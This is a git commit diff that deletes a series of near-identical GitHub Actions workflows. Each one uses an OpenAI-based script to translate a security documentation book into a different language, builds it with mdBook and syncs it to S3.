Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-08-21 00:25:32 +00:00
parent 27787e876a
commit ff53cdf5f1
21 changed files with 556 additions and 2000 deletions

View File

@@ -1,119 +0,0 @@
name: Translator to AF (Afrikaans)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: af
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Afrikaans
BRANCH: af
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to DE (German)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: de
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: German
BRANCH: de
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to EL (Greek)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: el
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Greek
BRANCH: el
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to ES (Spanish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: es
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Spanish
BRANCH: es
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to FR (French)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: fr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: French
BRANCH: fr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to IT (Italian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: it
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Italian
BRANCH: it
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to JA (Japanese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ja
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Japanese
BRANCH: ja
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to KO (Korean)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ko
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Korean
BRANCH: ko
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to PL (Polish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pl
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Polish
BRANCH: pl
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to PT (Portuguese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pt
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Portuguese
BRANCH: pt
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to SR (Serbian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Serbian
BRANCH: sr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to SW (Swahili)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sw
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Swahili
BRANCH: sw
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to TR (Turkish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: tr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
